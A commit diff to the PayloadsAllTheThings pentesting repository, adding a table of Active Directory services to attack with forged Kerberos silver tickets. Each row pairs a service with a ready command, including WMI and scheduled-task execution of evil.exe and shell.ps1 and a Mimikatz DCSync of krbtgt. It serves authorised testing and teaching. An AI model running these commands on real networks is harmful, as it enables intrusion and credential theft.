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Silver Ticket with services list

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Swissky 2020-08-09 19:25:03 +02:00
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16
Methodology and Resources/Active Directory Attack.md
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@ -722,7 +722,7 @@ Mitigations:
### Pass-the-Ticket Silver Tickets
Forging a TGS require machine accound password (key) or NTLM hash from the KDC
Forging a TGS require machine accound password (key) or NTLM hash of the service account.
```powershell
# Create a ticket for the service
@ -739,6 +739,19 @@ root@kali:/tmp$ export KRB5CCNAME=/home/user/ticket.ccache
root@kali:/tmp$ ./psexec.py -k -no-pass -dc-ip 192.168.1.1 AD/administrator@192.168.1.100
```
Interesting services to target with a silver ticket :
| Service Type | Service Silver Tickets | Attack |
|---------------------------------------------|------------------------|--------|
| WMI | HOST + RPCSS | `wmic.exe /authority:"kerberos:DOMAIN\DC01" /node:"DC01" process call create "cmd /c evil.exe"` |
| PowerShell Remoting | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| WinRM | HTTP + wsman | `New-PSSESSION -NAME PSC -ComputerName DC01; Enter-PSSession -Name PSC` |
| Scheduled Tasks | HOST | `schtasks /create /s dc01 /SC WEEKLY /RU "NT Authority\System" /IN "SCOM Agent Health Check" /IR "C:/shell.ps1"` |
| Windows File Share (CIFS) | CIFS | `dir \\dc01\c$` |
| LDAP operations including Mimikatz DCSync | LDAP | `lsadump::dcsync /dc:dc01 /domain:domain.local /user:krbtgt` |
| Windows Remote Server Administration Tools | RPCSS + LDAP + CIFS | / |
Mitigations:
* Set the attribute "Account is Sensitive and Cannot be Delegated" to prevent lateral movement with the generated ticket.
@ -1635,6 +1648,7 @@ CME 10.XXX.XXX.XXX:445 HOSTNAME-01 [+] DOMAIN\COMPUTER$ 6b3723410a3c5
* [Exploiting PrivExchange - April 11, 2019 - @chryzsh](https://chryzsh.github.io/exploiting-privexchange/)
* [Exploiting Unconstrained Delegation - Riccardo Ancarani - 28 APRIL 2019](https://www.riccardoancarani.it/exploiting-unconstrained-delegation/)
* [Finding Passwords in SYSVOL & Exploiting Group Policy Preferences](https://adsecurity.org/?p=2288)
* [How Attackers Use Kerberos Silver Tickets to Exploit Systems - Sean Metcalf](https://adsecurity.org/?p=2011)
* [Fun with LDAP, Kerberos (and MSRPC) in AD Environments](https://speakerdeck.com/ropnop/fun-with-ldap-kerberos-and-msrpc-in-ad-environments)
* [Getting the goods with CrackMapExec: Part 1, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-1.html)
* [Getting the goods with CrackMapExec: Part 2, by byt3bl33d3r](https://byt3bl33d3r.github.io/getting-the-goods-with-crackmapexec-part-2.html)

6
README.md
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@ -1,4 +1,4 @@
# Payloads All The Things
# Payloads All The Things [![Tweet](https://img.shields.io/twitter/url/http/shields.io.svg?style=social)](https://twitter.com/intent/tweet?text=Payloads%20All%20The%20Things,%20a%20list%20of%20useful%20payloads%20and%20bypasses%20for%20Web%20Application%20Security%20-%20by%20@pentest_swissky&url=https://github.com/swisskyrepo/Koalemos)
A list of useful payloads and bypasses for Web Application Security.
Feel free to improve with your payloads and techniques !
@ -8,13 +8,13 @@ You can also contribute with a :beers: IRL, or using the sponsor button.
<p align="center">
<img src="https://repository-images.githubusercontent.com/71220757/fac34f00-9854-11ea-9d6f-55fe78f233fb">
<img src="https://repository-images.githubusercontent.com/71220757/cc2fcb80-da73-11ea-8288-8ba1e3193f6d">
</p>
Every section contains the following files, you can use the `_template_vuln` folder to create a new chapter:
- README.md - vulnerability description and how to exploit it
- README.md - vulnerability description and how to exploit it, including several payloads
- Intruder - a set of files to give to Burp Intruder
- Images - pictures for the README.md
- Files - some files referenced in the README.md